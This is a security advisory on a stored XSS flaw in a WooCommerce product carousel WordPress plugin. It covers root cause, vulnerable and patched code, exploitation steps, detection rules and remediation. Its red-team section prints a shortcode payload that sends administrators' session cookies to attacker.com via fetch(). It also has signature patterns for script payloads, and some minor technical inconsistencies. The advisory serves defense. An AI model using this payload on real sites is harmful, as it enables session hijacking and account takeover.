CVE-2025-24681

Executive Summary

CVE-2025-24681 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Product Carousel Slider & Grid Ultimate for WooCommerce (slug: woo-product-carousel-slider-and-grid-ultimate), developed by wpWax. The flaw exists in versions up to and including 1.10.0, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript payloads into the plugin's settings or shortcode attributes. When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because it can be used to compromise the entire site if an administrator account is targeted. The CVSS score of 5.9 (Medium) reflects the need for authenticated access and user interaction, but the impact on confidentiality, integrity, and availability is limited to the scope of the affected application.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No known supply chain compromise has been reported, but the lack of a patch from the vendor increases the risk of exploitation. Users should treat this as a high-priority issue and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have at least Contributor-level access.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS makes it persistent and difficult to detect without proper monitoring.

Deep Dive & Mechanics

The vulnerability resides in the plugin's shortcode rendering logic. The plugin accepts user input for parameters such as title, category, or custom CSS classes without proper sanitization or output encoding. When the shortcode is processed, the unsanitized input is directly embedded into the generated HTML.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page containing the vulnerable shortcode.
2. The attacker injects a malicious payload into a shortcode attribute, e.g., [product_carousel title="<script>alert('XSS')</script>"].
3. The plugin stores the payload in the WordPress database.
4. When an administrator or other user views the page, the payload executes in their browser.

Root Cause: The plugin uses echo or print functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (v1.10.0):

function render_shortcode($atts) {
    $title = $atts['title'];
    echo '<h2>' . $title . '</h2>';
    // ... rest of the shortcode
}

Patched Code (Hypothetical):

function render_shortcode($atts) {
    $title = esc_html($atts['title']);
    echo '<h2>' . $title . '</h2>';
    // ... rest of the shortcode
}

The patched version uses esc_html() to neutralize any HTML or JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with the vulnerable plugin (<=1.10.0).
• An account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the vulnerable shortcode with a malicious payload:

   [product_carousel title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or save the post.
5. Wait for an administrator to view the post, or send them a direct link.

Expected Result: The administrator's browser executes the injected script, sending their session cookie to the attacker's server.

Blue Team

Detection:

• Monitor for unusual shortcode usage in post content.
• Look for posts containing <script> tags or event handlers within shortcode attributes.
• Use the detection rules provided below.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/woo-product-carousel-slider-and-grid-ultimate/ (entire plugin directory)
• Database: Posts/pages containing shortcodes with suspicious attributes (e.g., onerror, onload, <script>)
• Network: Outbound connections to unknown domains from the WordPress admin interface
• Logs: Apache/Nginx access logs showing requests to /wp-admin/post.php with unusual content parameters

Detection Engineering

YARA Rule

rule CVE_2025_24681_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24681"
    strings:
        $shortcode = /\[product_carousel[^\]]*?title\s*=\s*["'][^"']*?<script[^>]*?>.*?<\/script>["']/i
        $event_handler = /\[product_carousel[^\]]*?on\w+\s*=\s*["'][^"']*?["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Product Carousel Slider & Grid Ultimate
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress shortcode attributes for CVE-2025-24681
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|re: '\[product_carousel[^\]]*?title\s*=\s*["\'][^"\']*?<script[^>]*?>.*?<\/script>["\']'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24681 Stored XSS in Product Carousel Slider & Grid Ultimate"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; pcre:"/\[product_carousel[^\]]*?title\s*=\s*["\'][^"\']*?<script[^>]*?>.*?<\/script>["\']/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all posts and pages for malicious shortcode attributes using the YARA rule above.
3. Change all administrator passwords if compromise is suspected.

Long-Term Fixes:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
• Implement a Content Security Policy (CSP) to block inline scripts.
• Use a WordPress security plugin that monitors for XSS attempts.

Workarounds:

• If the plugin cannot be disabled, restrict Contributor-level access to only trusted users.
• Add a custom function to your theme's functions.php to sanitize shortcode output:

  add_filter('shortcode_atts_product_carousel', function($out, $pairs, $atts) {
      if (isset($out['title'])) {
          $out['title'] = esc_html($out['title']);
      }
      return $out;
  }, 10, 3);
  

Valters IT